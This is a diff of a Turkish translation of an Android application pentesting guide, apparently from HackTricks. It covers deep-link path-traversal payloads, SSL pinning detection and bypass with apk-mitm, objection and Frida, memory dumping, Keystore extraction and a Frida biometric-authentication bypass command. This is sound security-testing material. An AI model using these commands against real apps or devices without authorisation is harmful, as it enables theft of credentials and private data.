bileşendir. Bu nedenle, bir uygulama bazı servisleri export ediyorsa, ne yaptığını anlamak için kodu kontrol etmeli ve gizli bilgileri çıkarmak, kimlik doğrulama önlemlerini bypass etmek gibi amaçlarla dinamik olarak test etmelisiniz.\ [**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** [**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -Bir Broadcast Receiver'ın eylemlerinin `onReceive` metodunda başladığını unutmayın. +Unutmayın ki bir Broadcast Receiver'ın işlemleri `onReceive` metodunda başlar. -Bir broadcast receiver belirli bir tür mesajı bekler. Alıcının mesajı nasıl işlediğine bağlı olarak zafiyetli olabilir.\ +Bir broadcast receiver belirli bir mesaj türünü bekler. Alıcının mesajı nasıl işlediğine bağlı olarak zafiyete açık olabilir.\ [**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -Deep linkleri manuel olarak arayabilirsiniz; MobSF gibi araçlar veya [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) gibi scriptler kullanabilirsiniz.\ -Declare edilmiş bir **scheme**'i **adb** veya bir **browser** ile **açabilirsiniz**: +Deep link'leri manuel olarak, MobSF gibi araçlar veya [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) gibi script'ler kullanarak arayabilirsiniz.\ +Bildirilen bir scheme'i adb veya bir browser kullanarak açabilirsiniz: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_Paket adını **atlayabilirsiniz** ve mobil cihaz o bağlantıyı açması gereken uygulamayı otomatik olarak çağıracaktır._ +_Paket adını **atlayabileceğinizi** unutmayın; mobil cihaz bu bağlantıyı açması gereken uygulamayı otomatik olarak çağıracaktır._ ```html Click me @@ -393,56 +393,56 @@ _Paket adını **atlayabilirsiniz** ve mobil cihaz o bağlantıyı açması gere ``` **Yürütülen kod** -Uygulamada **yürütülecek kodu** bulmak için deeplink tarafından çağrılan activity'ye gidin ve **`onNewIntent`** fonksiyonunu arayın. +Uygulamada **yürütülecek kodu** bulmak için, deeplink tarafından çağrılan activity'ye gidin ve **`onNewIntent`** fonksiyonunu arayın. ![](<../../images/image (436) (1) (1) (1).png>) **Hassas bilgi** -Her seferinde bir deep link bulduğunuzda, **URL parametreleri aracılığıyla (örn. şifreler) hassas veri almadığından** emin olun, çünkü başka herhangi bir uygulama **deep link'i taklit ederek bu verileri çalabilir!** +Her deeplink bulduğunuzda, **URL parametreleri aracılığıyla (ör. parolalar) hassas veri almadığından emin olun**, çünkü başka bir uygulama deeplink'i taklit ederek bu verileri çalabilir! -**Path içindeki parametreler** +**Parameters in path** -Ayrıca **herhangi bir deep link'in URL path'i içinde bir parametre kullanıp kullanmadığını da kontrol etmelisiniz**, örneğin: `https://api.example.com/v1/users/{username}` . Bu durumda path traversal zorlayarak şu şekilde erişim sağlayabilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -Doğru endpoint'leri uygulama içinde bulursanız, path'in bir kısmı domain adı olarak kullanılıyorsa **Open Redirect** (Açık Yönlendirme), CSRF token olmadan kullanıcı detaylarını değiştirip hedef endpoint doğru HTTP metodunu kullanıyorsa **account takeover** ve diğer çeşitli zafiyetleri tetikleyebilirsiniz. Bu konuda daha fazla [bilgi için buraya bakın](http://dphoeniixx.com/2020/12/13-2/). +Ayrıca herhangi bir deeplink'in URL path'inin içinde parametre kullanıp kullanmadığını da kontrol etmelisiniz; örneğin: `https://api.example.com/v1/users/{username}`. Bu durumda şu şekilde bir path traversal zorlayabilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ +Uygulama içinde doğru endpoint'leri bulursanız, path'in bir kısmı domain adı olarak kullanılıyorsa bir **Open Redirect** (yeniden yönlendirme) oluşturabilir, CSRF token olmadan kullanıcı detaylarını değiştirebiliyorsanız ve vuln endpoint doğru HTTP metodunu kullanıyorsa **account takeover** ve diğer zafiyetlere yol açabilirsiniz. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). -**Daha fazla örnek** +**More examples** -İlginç bir bug bounty raporu: [https://hackerone.com/reports/855618](https://hackerone.com/reports/855618) (links, _/.well-known/assetlinks.json_ hakkında). +An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). -### Taşıma Katmanı İncelemesi ve Doğrulama Hataları +### Transport Layer Inspection and Verification Failures -- **Sertifikalar Android uygulamaları tarafından her zaman düzgün şekilde incelenmez.** Bu uygulamaların self-signed sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır. -- **SSL/TLS handshake sırasında yapılan müzakereler bazen zayıftır**, güvensiz cipher suite'ler kullanılabilir. Bu zafiyet bağlantıyı man-in-the-middle (MITM) saldırılarına karşı savunmasız bırakır ve saldırganların veriyi deşifre etmesine olanak tanır. -- **Özel bilgilerin leak olması** riski, uygulamalar güvenli kanallarla kimlik doğrulaması yapıp sonraki işlemler için güvensiz kanallar üzerinden iletişim kurduğunda ortaya çıkar. Bu yaklaşım, session cookie'leri veya kullanıcı bilgileri gibi hassas verileri kötü niyetli kişilerin ele geçirmesine karşı koruyamaz. +- **Certificates are not always inspected properly** by Android applications. Bu uygulamaların uyarıları göz ardı edip self-signed sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır. +- **Negotiations during the SSL/TLS handshake are sometimes weak**, insecure cipher suite'ler kullanılabiliyor. Bu zayıflık bağlantıyı man-in-the-middle (MITM) saldırılarına açık hale getirir ve saldırganların veriyi çözmesine izin verebilir. +- **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. Bu yaklaşım, oturum çerezleri veya kullanıcı bilgileri gibi hassas verileri kötü niyetli kişilerin ele geçirmesine karşı koruyamaz. -#### Sertifika Doğrulama +#### Certificate Verification -Sertifika doğrulamasına odaklanacağız. Sunucunun sertifikasının bütünlüğü doğrulanmalıdır; bu güvenliği artırmak için kritiktir. Zayıf TLS konfigürasyonları ve hassas verinin şifrelenmemiş kanallarda iletilmesi ciddi riskler doğurabilir. Sunucu sertifikalarını doğrulama ve zafiyetleri ele alma adımları için [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlar. +Biz **certificate verification** üzerinde yoğunlaşacağız. Sunucunun sertifikasının bütünlüğünün doğrulanması güvenliği artırmak için kritik öneme sahiptir. Güvensiz TLS konfigürasyonları ve hassas verinin şifrelenmemiş kanallar üzerinden iletilmesi ciddi riskler oluşturabilir. Sunucu sertifikalarını doğrulama ve zafiyetleri ele alma adımları için [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sunar. #### SSL Pinning -SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopyaya karşı doğruladığı bir güvenlik önlemidir. Bu yöntem MITM saldırılarını önlemek için kritiktir. Hassas bilgi işleyen uygulamalar için SSL Pinning uygulanması şiddetle tavsiye edilir. +SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopya ile doğruladığı bir güvenlik önlemidir. Bu yöntem MITM saldırılarını önlemek için önemlidir. Hassas bilgi işleyen uygulamalar için SSL Pinning uygulanması şiddetle tavsiye edilir. -#### Trafik İncelemesi +#### Traffic Inspection -HTTP trafiğini incelemek için proxy aracının sertifikasını yüklemeniz gerekir (örn. Burp). Bu sertifikayı yüklemeden şifreli trafik proxy üzerinden görülemeyebilir. Özel bir CA sertifikasının nasıl kurulacağına dair rehber için [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +HTTP trafiğini incelemek için proxy aracının sertifikasını (örn. Burp) **yüklemeniz** gerekir. Bu sertifika yüklenmezse, şifrelenmiş trafik proxy üzerinden görünmeyebilir. Özel bir CA sertifikasının nasıl yükleneceğine dair rehber için [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -**API Level 24 ve üzerini hedefleyen** uygulamalar, proxy'nin CA sertifikasını kabul etmek için Network Security Config üzerinde değişiklikler gerektirir. Şifreli trafiği incelemek için Network Security Config'i nasıl değiştireceğinize dair yönergeler için [**bu eğitime bakın**](make-apk-accept-ca-certificate.md). +API Level 24 ve üzerini hedefleyen uygulamalar, proxy'nin CA sertifikasını kabul etmek için Network Security Config üzerinde değişiklik gerektirir. Bu adım şifrelenmiş trafiği incelemek için kritiktir. Network Security Config'i değiştirme talimatları için [**refer to this tutorial**](make-apk-accept-ca-certificate.md). -Eğer **Flutter** kullanılıyorsa, [**bu sayfadaki**](flutter.md) talimatları izlemelisiniz. Sadece sertifikayı store'a eklemek işe yaramaz çünkü Flutter'ın kendi geçerli CA listesi vardır. +Eğer **Flutter** kullanılıyorsa, [**this page**](flutter.md) içindeki talimatları takip etmelisiniz. Çünkü sadece sertifikayı store'a eklemek işe yaramaz; Flutter'ın kendi geçerli CA listesi vardır. -#### SSL/TLS pinning'in statik tespiti +#### Static detection of SSL/TLS pinning -Runtime bypass denemeden önce, pinning'in APK içinde nerelerde uygulandığını hızlıca haritalayın. Statik keşif, hook/patch planlamanıza yardımcı olur ve doğru kod yollarına odaklanmanızı sağlar. +Runtime bypass denemelerine başlamadan önce, pinning'in APK içinde nerede uygulandığını hızlıca haritalayın. Statik keşif, hook/patch planlamanıza yardımcı olur ve doğru kod yollarına odaklanmanızı sağlar. Tool: SSLPinDetect -- APK'yı Smali'ye decompile etmek (apktool aracılığıyla) ve SSL/TLS pinning implementasyonlarına ait küratörlü regex pattern'lerini taramak için açık kaynaklı statik-analiz aracı. -- Her eşleşme için tam dosya yolu, satır numarası ve bir kod snippet'i raporlar. -- Yaygın framework'leri ve custom kod yollarını kapsar: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init ile custom TrustManagers/KeyManagers, ve Network Security Config XML pinleri. +- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. +- Eşleşen her öğe için tam dosya yolu, satır numarası ve bir kod snippet'i raporlar. +- OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers ve Network Security Config XML pin'leri gibi yaygın framework ve custom kod yollarını kapsar. -Kurulum -- Gereksinimler: Python >= 3.8, Java on PATH, apktool +Install +- Prereqs: Python >= 3.8, Java on PATH, apktool ```bash git clone https://github.com/aancw/SSLPinDetect cd SSLPinDetect @@ -456,8 +456,8 @@ python sslpindetect.py -f app.apk -a apktool.jar # Verbose (timings + per-match path:line + snippet) python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` -Örnek desen kuralları (JSON) -Proprietary/custom pinning stillerini tespit etmek için signatures kullanın veya genişletin. Kendi JSON'unuzu yükleyebilir ve ölçekli olarak scan edebilirsiniz. +Örnek pattern kuralları (JSON) +Özel/custom pinning stillerini tespit etmek için signatures'i kullanın veya genişletin. Kendi JSON'unuzu yükleyip ölçekli olarak tarama yapabilirsiniz. ```json { "OkHttp Certificate Pinning": [ @@ -471,55 +471,55 @@ Proprietary/custom pinning stillerini tespit etmek için signatures kullanın ve ] } ``` -Notlar ve ipuçları -- Büyük uygulamalarda hızlı tarama için multi-threading ve memory-mapped I/O kullanın; önceden derlenmiş regex, yükü/yanlış pozitifleri azaltır. +Notes and tips +- Büyük uygulamalarda çok iş parçacıklı ve memory-mapped I/O ile hızlı tarama; önceden derlenmiş regex aşırı yükü/yanlış pozitifleri azaltır. - Pattern collection: https://github.com/aancw/smali-sslpin-patterns -- Sonraki önceliklendirme için tipik tespit hedefleri: -- OkHttp: CertificatePinner kullanımı, setCertificatePinner, okhttp3/okhttp paket referansları +- Sonraki önceliklendirme (triage) için tipik tespit hedefleri: +- OkHttp: CertificatePinner kullanım, setCertificatePinner, okhttp3/okhttp paket referansları - Özel TrustManager'lar: javax.net.ssl.X509TrustManager, checkServerTrusted override'ları -- Özel SSL context'leri: SSLContext.getInstance + SSLContext.init özel manager'larla -- res/xml içindeki declarative pin'ler (network security config) ve manifest referansları -- Eşleşen konumları dinamik testlerden önce Frida hook'ları, statik yamalar veya konfigürasyon incelemelerini planlamak için kullanın. +- Özel SSL context'leri: SSLContext.getInstance + SSLContext.init ile özel manager'lar +- res/xml içindeki deklaratif pin'ler, network security config ve manifest referansları +- Eşleşen konumları, dinamik testlerden önce Frida hook'ları, statik yamalar veya konfigürasyon incelemelerini planlamak için kullanın. #### SSL Pinning'i Atlatma -SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlatmak gerekir. Bu amaçla çeşitli yöntemler mevcuttur: +SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlatmak gerekebilir. Bu amaçla çeşitli yöntemler mevcuttur: -- Otomatik olarak **apk**'yı **değiştirip** SSLPinning'i **atlatmak** için [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanın. Bu seçeneğin en büyük avantajı, SSL Pinning'i atlatmak için root gerekmemesi; ancak uygulamayı silip yeniden yüklemeniz gerekir ve bu her zaman işe yaramayabilir. -- Bu korumayı atlamak için **Frida** (aşağıda anlatılıyor) kullanabilirsiniz. Burp+Frida+Genymotion kullanımı için rehber: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- [**objection**](frida-tutorial/objection-tutorial.md) kullanarak **otomatik olarak SSL Pinning'i atmaya** da çalışabilirsiniz:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- **MobSF dynamic analysis** (aşağıda açıklanıyor) kullanarak **otomatik olarak SSL Pinning atlama**yı da deneyebilirsiniz -- Eğer hala yakalayamadığınız trafik olduğunu düşünüyorsanız, trafiği iptables kullanarak burp'a yönlendirmeyi deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) ile **apk**'yi otomatik olarak **değiştirip** SSLPinning'i **atlatabilirsiniz**. Bu seçeneğin en büyük avantajı, SSL Pinning'i atlatmak için root'a ihtiyaç duymamanızdır; ancak uygulamayı silip yeniden yüklemeniz gerekir ve bu her zaman işe yaramayabilir. +- Bu korumayı atlatmak için aşağıda bahsedilen **Frida**'yı kullanabilirsiniz. Burp+Frida+Genymotion kullanımı için bir rehber: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- [**objection**](frida-tutorial/objection-tutorial.md) kullanarak SSL Pinning'i otomatik olarak atlatmayı da deneyebilirsiniz: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- Ayrıca **MobSF dynamic analysis** kullanarak SSL Pinning'i otomatik olarak atlatmayı deneyebilirsiniz (aşağıda açıklanmıştır) +- Hâlâ yakalayamadığınız trafik olduğunu düşünüyorsanız, trafiği iptables kullanarak burp'a yönlendirmeyi deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### Yaygın Web Zafiyetlerini Arama +#### Yaygın Web Zafiyetleri Arama -Uygulama içinde yaygın web zafiyetlerini aramak da önemlidir. Bu zafiyetleri tespit etme ve hafifletme konusundaki ayrıntılı bilgiler bu özetin kapsamı dışında ancak başka yerlerde genişçe ele alınmıştır. +Uygulama içinde yaygın web zafiyetlerini aramak da önemlidir. Bu zafiyetlerin tespiti ve hafifletilmesiyle ilgili detaylar bu özetin kapsamı dışında olup başka kaynaklarda genişçe ele alınmıştır. ### Frida -[Frida](https://www.frida.re) geliştiriciler, tersine mühendislik yapanlar ve güvenlik araştırmacıları için dinamik bir enstrümantasyon araç setidir.\ -**Çalışan uygulamaya erişip runtime'da method'ları hook'layarak davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir veya farklı kod çalıştırabilirsiniz...**\ -Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanacağınızı bilmelisiniz. +[Frida](https://www.frida.re) geliştiriciler, reverse-engineer'lar ve güvenlik araştırmacıları için bir dynamic instrumentation toolkit'tir.\ +**Çalışan uygulamaya erişip çalışma zamanında metodları hook'layarak davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkartabilir, farklı kod çalıştırabilirsiniz...**\ +Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanacağınızı bilmeniz gerekir. - Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html) -- Frida ile işlemler için bazı "GUI"ler: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection, Frida kullanımını otomatikleştirmek için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Bazı Awesome Frida script'lerini burada bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Frida'yı ptrace olmadan yükleyerek anti-debugging / anti-frida mekanizmalarını atlatmayı deneyin; rehber: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs)) +- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Ojection Frida kullanımını otomatikleştirmek için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re/) +- Anti-debugging / anti-frida mekanizmalarını atlatmaya çalışın; Frida'yı şu adreste gösterildiği şekilde yükleyerek: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (araç [linjector](https://github.com/erfur/linjector-rs)) -#### Anti-instrumentation & SSL pinning bypass workflow +#### Anti-instrumentation & SSL pinning atlatma iş akışı {{#ref}} android-anti-instrumentation-and-ssl-pinning-bypass.md {{#endref}} -### **Belleği Dökme - Fridump** +### **Bellek Dökümü - Fridump** -Uygulamanın, parola veya mnemonikler gibi saklamaması gereken hassas bilgileri bellekte saklayıp saklamadığını kontrol edin. +Uygulamanın, parolalar veya mnemonikler gibi saklamaması gereken hassas bilgileri bellekte tutup tutmadığını kontrol edin. -[**Fridump3**](https://github.com/rootbsd/fridump3) kullanarak uygulamanın belleğini şu şekilde dökebilirsiniz: +Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with: ```bash # With PID python3 fridump3.py -u @@ -528,63 +528,63 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Bu, belleği ./dump klasörüne dökecektir; orada şu gibi bir komutla grep yapabilirsiniz: +Bu, belleği ./dump klasörüne dökecek ve orada şöyle bir komutla grep yapabilirsiniz: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` -### **Keystore'daki hassas veriler** +### **Keystore içindeki hassas veriler** -Android'de Keystore hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklarla hâlâ **erişmek mümkün**. Uygulamalar burada genellikle **düz metin halinde hassas veriler** saklama eğiliminde olduğundan pentests bunu root kullanıcı olarak veya cihaza fiziksel erişimi olan birisinin bu verileri çalabilmesi ihtimaline karşı kontrol etmelidir. +Android'de Keystore hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalığa sahip olunursa yine de **erişmek mümkün**. Uygulamalar burada genellikle **hassas verileri düz metin olarak** depolama eğiliminde olduğundan, pentests bunu kontrol etmelidir; root kullanıcı veya cihaza fiziksel erişimi olan kişiler bu verileri çalabilir. -Bir uygulama Keystore'a data kaydetmiş olsa bile, data şifrelenmiş olmalıdır. +Bir uygulama veriyi keystore'a depolamış olsa bile, veriler şifrelenmiş olmalıdır. -Keystore içindeki dataya erişmek için bu Frida script'ini kullanabilirsiniz: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +keystore içindeki verilere erişmek için bu Frida script'ini kullanabilirsiniz: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -Aşağıdaki Frida script'ini kullanarak, Android uygulamalarının belirli hassas alanları korumak için gerçekleştirebileceği **bypass fingerprint authentication** işlemini atlatmak mümkün olabilir: +Aşağıdaki Frida script'ini kullanarak, Android uygulamalarının **belirli hassas alanları korumak için** uyguluyor olabileceği **bypass fingerprint authentication** işlemini atlamak mümkün olabilir: ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **Arka Plan Görüntüleri** -Bir uygulamayı arka plana attığınızda, Android uygulamanın **snapshot'ını** depolar; böylece uygulama tekrar öne getirildiğinde, uygulama yüklenmeden önce bu görüntüyü yüklemeye başlar ve uygulamanın daha hızlı açıldığı izlenimini verir. +Bir uygulamayı arka plana attığınızda, Android uygulamanın **anlık görüntüsünü** saklar; böylece uygulama öne getirildiğinde, uygulamanın kendisinden önce bu görüntüyü yüklemeye başlayarak uygulamanın daha hızlı yüklenmiş gibi görünmesini sağlar. -Ancak bu **snapshot** hassas bilgi içeriyorsa, snapshot'a erişimi olan biri bu bilgileri **çalabilir** (erişim için root gerektiğini unutmayın). +Ancak bu anlık görüntü **hassas bilgi** içeriyorsa, anlık görüntüye erişimi olan biri **o bilgiyi çalabilir** (erişim için root gerektiğini unutmayın). -Snapshot'lar genellikle şu dizinde saklanır: **`/data/system_ce/0/snapshots`** +Anlık görüntüler genellikle şu dizinde saklanır: **`/data/system_ce/0/snapshots`** -Android, düzen parametresi olarak **FLAG_SECURE ayarlanarak screenshot alınmasını engelleme** imkanı sağlar. Bu flag kullanıldığında, pencere içeriği güvenli olarak işaretlenir; böylece ekran görüntülerinde görünmesi veya güvensiz ekranlarda görüntülenmesi engellenir. +Android, layout parametresi olarak **FLAG_SECURE'i ayarlayarak ekran görüntüsü alınmasını engelleme** yolunu sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli kabul edilir; böylece ekran görüntülerinde görünmesi veya güvenli olmayan ekranlarda görüntülenmesi engellenir. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` ### **Android Application Analyzer** -Bu araç, dynamic analysis sırasında farklı araçları yönetmenize yardımcı olabilir: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +Bu araç dinamik analiz sırasında farklı araçları yönetmenize yardımcı olabilir: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -Geliştiriciler sıklıkla bu Intents'leri işleyip `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten activities, services ve broadcast receivers gibi proxy bileşenler oluştururlar; bu durum riskli olabilir. +Geliştiriciler sıklıkla bu Intents ile ilgilenen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten activities, services ve broadcast receivers gibi proxy bileşenler oluştururlar; bu durum riskli olabilir. -Tehlike, saldırganların bu Intents'leri yanlış yönlendirerek non-exported uygulama bileşenlerini tetiklemesine veya hassas content providers'a erişmesine izin verilmesindedir. Önemli bir örnek, `WebView` bileşeninin URL'leri `Intent.parseUri(...)` ile Intent nesnelerine dönüştürmesi ve ardından bunları çalıştırmasıdır; bu durum kötü amaçlı Intent enjeksiyonlarına yol açabilir. +Tehlike, saldırganların bu Intents'i yanlış yönlendirerek non-exported app components'i tetiklemesine veya hassas content providers'a erişmesine izin vermekte yatar. Örnek olarak `WebView` bileşeninin URL'leri `Intent.parseUri(...)` ile `Intent` nesnelerine dönüştürmesi ve sonra bunları çalıştırması, potansiyel olarak kötü amaçlı Intent enjeksiyonlarına yol açabilir. ### Essential Takeaways - **Intent Injection** web'deki Open Redirect sorununa benzer. -- Exploits, `Intent` nesnelerini extras olarak geçirip bunların unsafe işlemleri gerçekleştirmek için yönlendirilmesini içerir. -- Bu, non-exported bileşenleri ve content providers'ı saldırganlara açabilir. -- `WebView`'in URL'den `Intent`e dönüşümü istenmeyen eylemleri kolaylaştırabilir. +- Sömürüler, `Intent` nesnelerinin extras olarak geçirilmesini ve bunların güvenli olmayan işlemleri yürütmek üzere yönlendirilmesini içerir. +- Bu, non-exported components ve content providers'ı saldırganlara açabilir. +- `WebView`’ın URL'den `Intent` dönüşümü istenmeyen işlemleri kolaylaştırabilir. ### Android Client Side Injections and others Muhtemelen bu tür zafiyetleri Web'den biliyorsunuzdur. Bir Android uygulamasında bu zafiyetlere özellikle dikkat etmelisiniz: -- **SQL Injection:** dynamic sorgular veya Content-Providers ile çalışırken parameterized queries kullandığınızdan emin olun. -- **JavaScript Injection (XSS):** Herhangi bir WebView için JavaScript ve Plugin desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışı). [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** WebView'lerin dosya sistemine erişimi devre dışı olmalıdır (varsayılan olarak etkin) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: Birçok durumda, Android uygulama oturumu kapattığında cookie iptal edilmez veya diske bile kaydedilebilir. +- **SQL Injection:** Dynamic sorgularla veya Content-Providers ile uğraşırken parametreli sorgular kullandığınızdan emin olun. +- **JavaScript Injection (XSS):** Herhangi bir WebView için JavaScript ve Plugin desteğinin devre dışı bırakıldığını doğrulayın (varsayılan olarak devre dışı). [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** WebView'ların dosya sistemine erişiminin kapalı olması gerekir (varsayılan olarak açık) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: Birçok durumda Android uygulama oturumu sonlandırdığında cookie iptal edilmez veya hatta diske kaydedilmiş olabilir. - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -597,51 +597,51 @@ Muhtemelen bu tür zafiyetleri Web'den biliyorsunuzdur. Bir Android uygulamasın ![](<../../images/image (866).png>) -**Vulnerability assessment of the application** using a nice web-based frontend. You can also perform dynamic analysis (but you need to prepare the environment). +**Vulnerability assessment of the application** hoş bir web tabanlı frontend kullanılarak yapılır. Ayrıca dinamik analiz de gerçekleştirebilirsiniz (ancak ortamı hazırlamanız gerekir). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -MobSF'nin **Android**(apk)**, IOS**(ipa) **and Windows**(apx) uygulamalarını analiz edebildiğini unutmayın (_Windows uygulamaları, bir Windows host'a kurulu bir MobSF'den analiz edilmelidir_).\ -Ayrıca, bir **Android** veya bir **IOS** uygulamasının kaynak koduyla bir **ZIP** dosyası oluşturursanız (uygulamanın kök klasörüne gidin, her şeyi seçin ve bir ZIP dosyası oluşturun), MobSF bunu da analiz edebilecektir. +MobSF'in **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ +Ayrıca, bir **Android** veya bir **IOS** uygulamasının kaynak koduyla bir **ZIP** dosyası oluşturursanız (uygulamanın kök klasörüne gidin, her şeyi seçin ve bir ZIPfile oluşturun), MobSF bunu da analiz edebilir. -MobSF ayrıca analizleri **diff/Compare** etmenize ve **VirusTotal** ile entegre olmanıza izin verir (API anahtarınızı _MobSF/settings.py_ içinde ayarlamanız ve etkinleştirmeniz gerekir: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). `VT_UPLOAD`'ı `False` olarak ayarlayabilirsiniz; bu durumda dosya yerine **hash** yüklenecektir. +MobSF ayrıca analizleri **diff/Compare** etmenize ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ içinde ayarlamanız ve etkinleştirmeniz gerekir: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). `VT_UPLOAD`'ı `False` yaparsanız, dosya yerine **hash** **upload** edilecektir. -### MobSF ile Yardımlı Dinamik Analiz +### MobSF ile Destekli Dinamik Analiz -**MobSF**, **Android** için **dynamic analysis** sırasında da çok faydalı olabilir, ancak bu durumda host'unuza MobSF ve **genymotion** kurmanız gerekir (VM veya Docker işe yaramaz). _Not: Önce **genymotion**'da bir VM başlatmalı ve **sonra MobSF**'yi çalıştırmalısınız._\ +**MobSF** ayrıca **Android** için dinamik analiz konusunda çok faydalı olabilir, ancak bu durumda host'unuza MobSF ve **genymotion** kurmanız 